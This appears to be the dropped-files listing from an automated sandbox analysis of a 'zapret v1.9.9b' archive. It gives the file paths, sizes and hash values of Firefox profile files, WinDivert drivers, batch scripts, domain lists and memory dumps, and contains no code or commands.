SHA512 c121acba4937a3b5ddc128c06c8234ff4a5cf4d959507b82573e61e522ece03dee81ce6097cc6b7d1c21b449aa97ac44f16036731fe9b3469c4bc9780d560e98
TLSH
T15D1167454BB8BDB2CD18C34BC9A17B014FE0B523C0C948107E655A180DFB91BA3EA307
MD5 SHA1 SHA512 TLSH

Submit Download

29648317-282b-4068-923a-f6feca38a138

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\pltyyssw.default-release\datareporting\glean\pending_pings\29648317-282b-4068-923a-f6feca38a138
Size 235B
SHA256 7562c7be01ac586afb63ff0c92652e9c6437f5bf43a765c034c73a64529a8af1
MD5 aeb9b8dcfa3b2d867c087a1fd4b37e79
SHA1 69e3aaef32507e1d2182e7af397d022f1749e98d
SHA512 e0e63c57c585299c4962a9f584742d0f12b932b2d053634fd1f0fbd68d2469193a4a5125c527e60e458eb42933a33baa62e3aeebebad77ac56fc19de36ee9952
TLSH
T1BBD0978418A8B35D8C280F07B0A06ACA348A4C3750609820DA524074AEFDDC40152906
MD5 SHA1 SHA512 TLSH

Submit Download

30420e3a-16ce-43a6-bcbe-926c63514d3e

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\pltyyssw.default-release\datareporting\glean\pending_pings\30420e3a-16ce-43a6-bcbe-926c63514d3e
Size 864B
SHA256 8e5a496270ae5e69a8783c19a1b2f9bb42f4d1bd976dde63efa1e76de2542e9a
MD5 f1542969e7d88ca73fede5eafc1db05b
SHA1 76e47a1a66962fc4ea7f95badcf1e3ed807025dc
SHA512 80f11dcbe7e78d5a49aed2ca94b2dfe128a126625ca705882f9259656160c95dfab2d2d09e66f1fdf6b2f545e644e330f5c82bb837387bf7e5400fc2ed390483
TLSH
T1D8110CD94622A5A3ECA8C30EE925771B9AE0A533C09580046FFC44080EFB52F93A730E
MD5 SHA1 SHA512 TLSH

Submit Download

33f7eff2-638a-408a-84ee-2d6ade0244c9

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\pltyyssw.default-release\datareporting\glean\pending_pings\33f7eff2-638a-408a-84ee-2d6ade0244c9
Size 235B
SHA256 abc1e0eb5fa39cf04b4aa7402901205f992df7d0753b281b0c5563350c463bb6
MD5 752b578e858b503ca0fde33b75b4e638
SHA1 a29fc0d99acf85ff0b5a30bd76f5cc0fbd97b749
SHA512 db0d5eb43dab5c85c5a6940e279e8ffc558a7b20871cc64302217a652192956ce7fbe21ae522b45fe92249df97277b1acf7f957611fba267f40a8312066215e2
TLSH
T17DD0978058886B1C0C243F07F0E169C630848C3720606850DA71427A9DFDAC40161A0F
MD5 SHA1 SHA512 TLSH

Submit Download

6395f24b-4e16-4ed5-9a6c-ca34da9839f2

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\pltyyssw.default-release\datareporting\glean\pending_pings\6395f24b-4e16-4ed5-9a6c-ca34da9839f2
Size 883B
SHA256 05cd97d74f2ef84d9652708dfbae87238862ea170ac1b7306712a8962784d486
MD5 ec81135ca54dcf75aa381872d4999254
SHA1 8961006dec6dea779d3338489cb4686e933fbd11
SHA512 34360607e2030833c714a5121695d77dbee1393e7f7f13a59a87d3a4c94c1516f41b5fd3dca633bcfc02338ff6fb2d32c0affd935520ea934518ec1c053f6abc
TLSH
T13D11E7515779B9B3CC68C24FC95137015FE4BA23C4CD54143FA559140D7A91EA3AB60B
MD5 SHA1 SHA512 TLSH

Submit Download

e90917e9-daa1-4957-964a-89632702aaef

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\pltyyssw.default-release\datareporting\glean\pending_pings\e90917e9-daa1-4957-964a-89632702aaef
Size 2KB
SHA256 8965c27448eb1e2c494d44046cf8dd26cba88dc6e906f7044a8e8c75de4268b6
MD5 f24c8614631a98fbdd0e202e11ce34c5
SHA1 3f599353dccf2b6ebbec880583ee2acebffb988c
SHA512 edf032d1f93c57fa873a651cf15c730c505fabaa2cc090d53723883f36819c10111313d2ec92a49f4f41b5c07afefe3e1275ab5d021667c4ae35fb8e3a37e31e
TLSH
T12641345C35B85D768CEAE18DD8D1334E5B648F1340C62C432E62DE0CCD9A66A236F52B
MD5 SHA1 SHA512 TLSH

Submit Download

fc7192bc-af3a-4407-83ac-f0d44aa13d6a

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\pltyyssw.default-release\datareporting\glean\pending_pings\fc7192bc-af3a-4407-83ac-f0d44aa13d6a
Size 15KB
SHA256 831458c066b43df56ec27c3a523c60debeef15ba5fb1c7304c5c1528ee789ca4
MD5 60cc39e4b236d9dd74359db8b6392856
SHA1 03be4b503ba6472141d428810ef4a7b6e181a576
SHA512 e6d6c4b7beb4159a95ab3e8d7eb254f70e253dbbf03d86e64f639ffd5b803ca08f7002ba7a38979f065b717334884c43f70d3d9b975babf94d7329b6013761f1
SSDEEP 192:0keeqYAvKYOgdH6457DkkkJeY4nxQyCF+jPV9QQPzxiz/CyX1L93BNq+xgd3C8K:5eHldQz+jPV9JPli2y3Lq+xgdXK
TLSH
T17872C8166860557A8251E3A8D4F8BFC3E6F628CB4C019FCDDBE4BD085DDE06E112794B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\pltyyssw.default-release\prefs-1.js
Size 7KB
SHA256 be5d971261e254408b34c24bddd708c80caf47404dbc0285bcb2a5ba7f676ded
MD5 0db19bfde0c02cc87f5549f8059c9f81
SHA1 b013b87862d5b46deca8d801219765a7c44dbcd9
SHA512 8863fbef016338a41b8162348668c28f56382b2a52afc3b5c157cd2a630fb548501d2462d570fa7d712552681983c81af99d56457678941baf2b14750098bd6a
SSDEEP 96:xH4fUTUOCPqGqZWf2jHObzSL3SSladv9jxXwnIHeABw88n8L4cnTDLx:mfhCRZWf2jHt3SSCReABw88qR
TLSH
T14DE1317895188F6F74B6776CAC6888716AB2413B7BBF68D710B944C4011CF3842F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\pltyyssw.default-release\prefs-1.js
Size 6KB
SHA256 0bf1315bb0a8fedea4926d990ac5ecaddc36287807e7721df3671620f3d1e43c
MD5 ff2df3a650f852189b87d1f50c3963d3
SHA1 14cd4d58e18851afd2c894320b1ea7efdcef0224
SHA512 c3749552cd466d01ae154a5e8541bb928f3750165fc5c718d45106ec1369fb7e39a0d0b78aa83678fa131af0ca865e91bf5067a71f424e08718cbd018882fa66
SSDEEP 96:xH4fUTUOPqGqsWf2jH1zSL3SSladv9jxXwnIHeABw88n8L4cnTDEx:mf5RsWf2jHe3SSCReABw88qY
TLSH
T1D3E142789518CF6F74B5776CAC6888316AB2413B77BF68D710B95484011CF3442F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\pltyyssw.default-release\prefs-1.js
Size 6KB
SHA256 33cdeaa195033624c8a377cafb5645bfcab5d54d0bd8b82e2a1ac965f5d1463a
MD5 1354c44ceeb2217e630b69f7d95bca4d
SHA1 0e16a6d4995cfce232430518d4ab5dd6d52a72c8
SHA512 eb445b76b765ddf47dd06c9a864157b9ff24cefa36d51042e56963329c9cbf196f1b7eb95d75b9392f4a0d03e30e0c65fb799ba021b4db0fc5c87b1ef4704b8b
SSDEEP 96:xH4fUTUOCPqGqsWf2jH1zSL3SSladv9jxXwnIHeABw88n8L4cnTDEx:mfhCRsWf2jHe3SSCReABw88qY
TLSH
T1BEE141789508CF6F74B6776CAC6888716AB2413B7BBF68D710B95484011CF3442F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\pltyyssw.default-release\prefs.js
Size 6KB
SHA256 6c0b22ca5be554090d9337aef89dd3fce514031785f218d3ef9f17b322c093c7
MD5 229308f4267a65b1acc50ace6d3a8ea5
SHA1 f51a1c3a3260c901b2c5543449de53927e7b372e
SHA512 7045182838a61eb24ec695005a8f8a0a308ff37039dc73d4ce2953e9e90ec9b06939c2ce6c356451bce19ecc3d0f067b67a2c9b38797269f45fd183cc668454c
SSDEEP 96:xH4fUTUOPqGqsWf24P1zSn95NSSladv9jOnIHeABw88n8L4cnTDEx:mf5RsWf24PA3SSYeABw88qY
TLSH
T100E13F7895188F6F74B677ACAC6888716AB2413B7BBF68D710B954C4010CF3442F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{6379ae11-9fc1-4a7d-b615-2e11f6cac569}.final

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\pltyyssw.default-release\storage\default\https+++limewire.com\cache\morgue\105\{6379ae11-9fc1-4a7d-b615-2e11f6cac569}.final
Size 132KB
SHA256 8246df8a899b488139a57036d6dbfc953d7d3bd4637249a1271bc07537229cf9
MD5 d11616c53b63ff827b1ad246738dcbe5
SHA1 3976a861fad3cd8ddad91b2e3c8b8a2fd4567c35
SHA512 25fff8ef117544c246751ca37fa1744438abab940d86873acaacbdd2a37798763750f5ddde5f50582dfdf2c01969585ad609f040a83e134317658af4f2073817
SSDEEP 3072:xghblbysNI2JP7y8rzVCb41+mKrMStXV1nPB/brUQrg:xMbfISO8XUJftl1nPB/brUT
TLSH
T1ABD3C07348285D3B9EB40EA0E4D505466CEC61FA91CC4AA87BFCDF7543DAE8400EF669
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WinDivert.dll

Path C:\Users\Admin\Desktop\zapret v1.9.9b\bin\WinDivert.dll
Size 46KB
SHA256 c1e060ee19444a259b2162f8af0f3fe8c4428a1c6f694dce20de194ac8d7d9a2
MD5 b2014d33ee645112d5dc16fe9d9fcbff
SHA1 aa69498562d350f2de06954b133e59fac1e57002
SHA512 37014a018b9cd91b2eaeeccc7c5af3838fcae4d4fe6bb50c7ae32cd5c99423965a3e3efb29499324f6885b8f0c2ee2952cb75ab73db4e8960811abcb46801f15
SSDEEP 768:Qjf2rf/kxpxI+JEw2VWHDDjQSQX4zTtllgwBqWocwTicI:YuT/CXHDvVQatonTic
TLSH
T17423D803F74151B7C429C27083AED352AE22FCC56354F9EF82DEB7952D85E42DB1A606
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WinDivert64.sys

Path C:\Users\Admin\Desktop\zapret v1.9.9b\bin\WinDivert64.sys
Size 91KB
SHA256 8da085332782708d8767bcace5327a6ec7283c17cfb85e40b03cd2323a90ddc2
MD5 89ed5be7ea83c01d0de33d3519944aa5
SHA1 4c9b9c74529399abacc2284de1dead5f2332ee9b
SHA512 be6530fa0e26441441028b530cd6fc4f900448916e137f92613a1f886c16399d415ddd17f7f8847258cc19c63b1510f2f3068942203c50486e48eed838f9f138
SSDEEP 1536:AsmCCzg4Klt7jh//NiRMwoGK0tmdsAXixJz48dJ/zuXR:Atzilt/iR5ojGmdsAXoz4k/8R
TLSH
T12E935B46B2E240C5F9F6C97895F59253EE31FA90A721C7DF11E0981E4F21BE1AD78322
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cygwin1.dll

Path C:\Users\Admin\Desktop\zapret v1.9.9b\bin\cygwin1.dll
Size 2.8MB
SHA256 103104a52e5293ce418944725df19e2bf81ad9269b9a120d71d39028e821499b
MD5 a1c82ed072dc079dd7851f82d9aa7678
SHA1 52f26fa1aee39476f1c13438aec8bf969c78da45
SHA512 22993e7cee1e7aa69ffe45adf3a329abced7e53d54ffea96dab42fe273c81522252c7b7e98e5af36d2fdec0346c51540e977c6e56b8c08835bac86fa6d04ca59
SSDEEP 49152:hGniafRcs02/oSqCmB5RMiCwDjUZQjuhKv+TLRlURxKc+tKaZrpu8dhcy1u7MHz:YniGRcsVJqCmB5RMiCwDIS4TBrppUy1J
TLSH
T165D55C1BF3A350ECC967C138466BA372BA32B82441347F6E2958CB701F72F51666DB25
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

quic_initial_dbankcloud_ru.bin

Path C:\Users\Admin\Desktop\zapret v1.9.9b\bin\quic_initial_dbankcloud_ru.bin
Size 1KB
SHA256 f7a1c1cffc8f65bd47412b7ca5588653d21eec916bb79203c9914890a62874df
MD5 5e594564fd03d52d6257356dcd25909e
SHA1 f6d8770f529cf1a902ff127e3ada2ade2a205e4e
SHA512 c64e87c746cd7d5a3f135ac5a2a09f01adee313ec8f25691fb3cfc477f7fc02b1de41e9fb18bfdaf150777370c419913511d7ac99c5ef6642b97129626e99e3b
TLSH
T109212675B24108D4F045B3B07F8B31BCF47C4AED5D51C170825C8395F8060187715375
MD5 SHA1 SHA512 TLSH

Submit Download

quic_initial_www_google_com.bin

Path C:\Users\Admin\Desktop\zapret v1.9.9b\bin\quic_initial_www_google_com.bin
Size 1KB
SHA256 f4589c57749f956bb30538197a521d7005f8b0a8723b4707e72405e51ddac50a
MD5 312526d39958d89b1f8ab67789ab985f
SHA1 49a06ceebb13807faaf2a935a716127faff9864d
SHA512 472e88fdd60f9c67f784514a6b699bbefac257657f53a9682a864c0ced474b33f89cf14eb112226ebc9b2c6b07a8f2ec9b25010ccdf98c13370c5c9c6dc2b893
TLSH
T16C21E766D88023896108F64536222E5009B3A4471621258F07292781C83EFEEC1EC0C6
MD5 SHA1 SHA512 TLSH

Submit Download

stun.bin

Path C:\Users\Admin\Desktop\zapret v1.9.9b\bin\stun.bin
Size 100B
SHA256 9cd5469309780ca56c0bd97266524a48c7ee529d02c3179cfecb20b260a59641
MD5 0357596c0e38a10a4b99dca2032419cc
SHA1 05fb322426bd56771a1e1873e88626bc98d34563
SHA512 319880f7624ff32720d11b79e5cdc24e24ee482a92cd2224e2175936b54a32916d059f431bf2f0e8ff74cf1be41395a462665e75fd1cf17a2c126d01cc2ee165
TLSH
T181B01200C24B4DA4C014103CC4436A9F84A415D58F00DFC389091E9050CA05E6CC1ACD
MD5 SHA1 SHA512 TLSH

Submit Download

tls_clienthello_max_ru.bin

Path C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_max_ru.bin
Size 664B
SHA256 4ee0870abe0a0128600b0095189987ba1d210dae8bf963bc725aff49cf922624
MD5 b2b3e684ce449b60f0bc5a9028221a08
SHA1 32538a43ec8502f0146cd59456646bce7aedd29c
SHA512 19963986a6c0f7265456aeaa4622fd4f8061dc81d1b722fb62f61574f6d96e4b55cfcd256dcfc555bec11ae458ddebb943de25dc1df102dafe99a2b4174b5b38
TLSH
T1CF0128771655D117A54D1F1650E150418585EF447302C7EF3B74D974CAD68C34E75345
MD5 SHA1 SHA512 TLSH

Submit Download

tls_clienthello_www_google_com.bin

Path C:\Users\Admin\Desktop\zapret v1.9.9b\bin\tls_clienthello_www_google_com.bin
Size 681B
SHA256 936c2bee4cfb80aa3c426b2dcbcc834b3fbcd1adb17172959dc569c73a14275c
MD5 41e47557f16690df1781f67c8712714e
SHA1 2f3ca8e75528e0e7797e8f5edfdc582535531913
SHA512 e8b644d7996168e51d8b991b1d263b9d98f7178bdd9a060078cf4f5ef368fa6e864492b3365227aa68d4d079d734f17d8a5755bbab7424f1bb66e82c0b72f1dc
TLSH
T1D601F4AB1D42D11AD9020E1629D7854A51CADA0561138F772705AF11E8C3D97CD10BC9
MD5 SHA1 SHA512 TLSH

Submit Download

winws.exe

Path C:\Users\Admin\Desktop\zapret v1.9.9b\bin\winws.exe
Size 199KB
SHA256 affb4f69d2ea302a7abccd5325d81826e140ddae014f1e070bc4a6c0dd555188
MD5 d498e19bc7a79dd1efcb6b928cbe9909
SHA1 e660246d9b5de531d8c6ed563919d2690f47d209
SHA512 03fa6ccc762999e4b5e3c7ed4f4a269d5e7114af52c833842f94fcbca19c3b2edd3c218df247d7616a54d25262f2dc14762a958c620433589ac3c1efa14b379a
SSDEEP 3072:llblEpda/1ZqNUckRoAHzGDIAaSLECf6CuWhs/JSDxIcdDFth2zp:l/TY5czliX5mhYIcdptyp
TLSH
T145145B17F39588F9C462C17896AB5333E932FC452134FA4B9FA4DB212F65E10B12E798
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

general (ALT12).bat

Path C:\Users\Admin\Desktop\zapret v1.9.9b\general (ALT12).bat
Size 3KB
SHA256 3f28b3788373c4963ba7b4e38112ae965fef2c99a812f023e9d2c736e99cb9c7
MD5 707e7f6492429b89d52a665cb47d2e1f
SHA1 5ce1c89efeda8a2bbf3419d1a7169cdfd08fae23
SHA512 7c85dacf2a739dbe585b3dbea34354da8cfc49c10975f1215ed8bc03baa6fb6f3c57483f8926fd24a104133e90a275c8a5f51f808ee7d9007fa61b08edf847c2
TLSH
T1C0816CA3E00DEE46F6CE757EF85FE6A52017C8C328D6D452435B89E8CC0EDB9594E085
MD5 SHA1 SHA512 TLSH

Submit Download

ipset-all.txt

Path C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-all.txt
Size 18B
SHA256 19123a22bf1108815c07bda3cda8df282b30bd63e4939949928969c0fd195873
MD5 42ad35639873f78e1b2dc5c1039499df
SHA1 0fe009c7e4f670e759fda4668a8b37904215c9fa
SHA512 1676acc285990e44eb382705e0711fcab7fac79348c541c67bee58a49f3223d8fc61dcb895a7d2dc25ff38dec249268aa64e50c952a214f264b5430f9726a907
MD5 SHA1 SHA512

Submit Download

ipset-exclude.txt

Path C:\Users\Admin\Desktop\zapret v1.9.9b\lists\ipset-exclude.txt
Size 135B
SHA256 96c03954012765ce4ab03b9c30f29ab1ca1b698c6752224d03828e6d182eb0fc
MD5 240532f20e114cd6de2906ebc86d683e
SHA1 f7d4b6e1ec084e64c367ac11f5fe21fff454fb68
SHA512 809e9961b2952acff12fb27b31895f9e7c0d70433363cdd8fd61bd522ffa835e7d403de3419092145673e10644aa0803d0e244d9cfff8d8bf784e783713f799a
TLSH
T147C09271516912FB0F876B21A13E0326F9475BCB26F37D64A36C5286EC504096029920
MD5 SHA1 SHA512 TLSH

Submit Download

list-exclude-user.txt

Path C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-exclude-user.txt
Size 20B
SHA256 9d9832f02f42e60be30f94a7a1b051342db0b1b0092c656a7bc10e730d63b234
MD5 1c4db6196bc14ecfdb5ff6f76ad4985d
SHA1 e980cb9c55abe3e5213ffc680d79f75b0b904a50
SHA512 28c56b0a3f42337b04bd7729940c83ec84d8f508f2fcf88567ebc708b09dec312d08074816ea76c48d087975743a6d682597ea7fd276a423fdbc2752bab0e24b
MD5 SHA1 SHA512

Submit Download

list-exclude.txt

Path C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-exclude.txt
Size 1KB
SHA256 fee10780709c1956046e2f300af46cb9814c23a14001dee85fe5149e1f286f5f
MD5 e8efd7d8469ee49a20c0bb02d5830538
SHA1 e7e6fd4541367eb40c63efe82fa66ae515681904
SHA512 9f865b6c33f3f62e639f2f6b9e7809c2d90ba1f6c44d8d363b65eac62e2e7b4435914e664b0f4b12f57474b99d4172e96f543ceab609c5d2ae75049c7210c2a4
TLSH
T1E731DFB0D84024505698F48BD4A67F44A839323A81C0ECC667E8DC8C23C32957FCFA71
MD5 SHA1 SHA512 TLSH

Submit Download

list-general-user.txt

Path C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-general-user.txt
Size 51B
SHA256 6c622ab155cf403ab8857f3805be8df7acba8b3d7a700ea19e52699260a5bc7f
MD5 dd8816323e370d2de83d1cf2b838dbf3
SHA1 9a124b838e69880f166f964122614ea8b43ac8ee
SHA512 32ebb345769e88632a06aec89fb6bfd9b833e7f6c496d0b6d1d28954481210ce0372a92eb2a2ac4f55cfdb2f3e73004f47b27d99ffe39929ca2826047d20db54
TLSH
T1B190024647810605505285892545141757B2A8684A505810105D7B15395892956B9AD4
MD5 SHA1 SHA512 TLSH

Submit Download

list-general.txt

Path C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-general.txt
Size 886B
SHA256 fa32857695c52544c082df680807564d24c360be6eb7553f8d5fac6591312f6c
MD5 8594722ac5b56b8742dc743b572ed22e
SHA1 9ec8968e9c5e2e281685346b251833ce43b688a7
SHA512 eff58658642bf890459051ad0eefda677f7561f8b92193957592153a2d114e14a010659e498c63b690cf930d051490794e964ca9c91e93c731dce673083c6dd9
TLSH
T1FB11FE53A1A997502B1ED4E8145462A02394B4F11CCFE2E39B6FC19F09093FAB3C0EA7
MD5 SHA1 SHA512 TLSH

Submit Download

list-google.txt

Path C:\Users\Admin\Desktop\zapret v1.9.9b\lists\list-google.txt
Size 414B
SHA256 1e59f9d487f7bce12091c838151713d0a8d31c3aae20afefebb38206f2cd8232
MD5 a47c9cc57d60596de04f785df7384fb3
SHA1 91fd0465aae6fc84a0164531bc08683e67f57aba
SHA512 739d2a53cbe969e675d37a63dead91fc68278861fe2948e65300bd61bfaf95758cd83fa52493456746cb6aaff09705bfd35050875cbf5b57a110e41fb38c7dc4
TLSH
T1F7E04F87780E809F4202ECC818F0654DB62CF23586DEEAF4DD61D03E70ADB4A34C18E2
MD5 SHA1 SHA512 TLSH

Submit Download

service.bat

Path C:\Users\Admin\Desktop\zapret v1.9.9b\service.bat
Size 29KB
SHA256 8f69771067f556bc1724135e5b11f98e589ed779846d672c172302b83884d84a
MD5 adf7ac3725d49448c8c03dff0925d46d
SHA1 7bae78d79d0c880b5bd48a2c16481a6cfee90beb
SHA512 c021d5fdb327fa21291760cd73c877686e6fa72022eda15c6831e9956f0efb227148d2af9821f2852c46f9d05e069fb34e0c902d5075a2a93f484e64160589e2
SSDEEP 384:L3vzkC5RCE3utFcIuVMxe8AIKoPamn+CtIajLLjCXpEakDi5h6wUEz+omf0fOQws:L3vzkC5tVGKWaYw1hiMMKcc
TLSH
T1B6D2512B1401586608B153B3D92640E1F75A81D30B3176DE38AEC198BF7A76395FF6EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zapret v1.9.9b.exe

Path C:\Users\Admin\Desktop\zapret v1.9.9b\zapret v1.9.9b.exe
Size 10.0MB
SHA256 f44aa3193bdb9b79598542f1421d2da02e92f74565f277728f847b7933974e35
MD5 bf058ed0b039b5c801e4f5da188bccd0
SHA1 fa0c141338eb27408b23df24d3496fd0cf5ba2e6
SHA512 b5d4df0496304cda61b90efab718d977c9af9fe0faf1e08f5a164563008681271827462978da522101b382b71f242640f19dac36e316492d8e0758ece4e9e569
SSDEEP 196608:85GltmLZgJWlxy/sQXLIhpEQfRWee63IZKD9h7vs38KjdaxqeDB9I:vvYgUls/sQMk2RWePE05s3TaFDBm
TLSH
T14EB63302425B60DAC2D5A973EE3FE9E09735B329A61E32C9452D62373F462D26F3C153
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zapret v1.x7Scn3mE.9.9b.rar.part

Path C:\Users\Admin\Downloads\zapret v1.x7Scn3mE.9.9b.rar.part
Size 9.9MB
SHA256 ee609e48401965569312532b9d800ed4b17181e6292862827916e376d3994a7d
MD5 ce6a7875e15219e658e93822d586de56
SHA1 56fb063830040cc299e85298a8b5d004beaa9c4b
SHA512 435436b33676cac530a3afb88aa9b2bec5fd4bf529e22ee1862c6ddc6c0578ab9708294640fc02a0ad2cc8877130c99a5ddc7446f5620142b99df21ad334e984
SSDEEP 196608:HNbFzpUNmXEPD1fs4gFcKsJb5NwDiCRSeNzpDQatUwMwXcokFxyaflXHSGE:HJsNmXE5ngGjWiCRPZQ4UwxCflK
TLSH
T17DA633D301AFCE26B52BB9F02F14FE671989EB9614616712500E5D829C2A93FCD72D3C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2224-936-0x00007FFAA59B0000-0x00007FFAA5CB2000-memory.dmp

Download

memory/2224-939-0x0000000062800000-0x0000000062813000-memory.dmp

Download

memory/2224-937-0x0000000100400000-0x000000010043C000-memory.dmp

Download

memory/2224-940-0x00007FFAA59B0000-0x00007FFAA5CB2000-memory.dmp

Download

memory/5948-884-0x0000018165740000-0x0000018165762000-memory.dmp

Download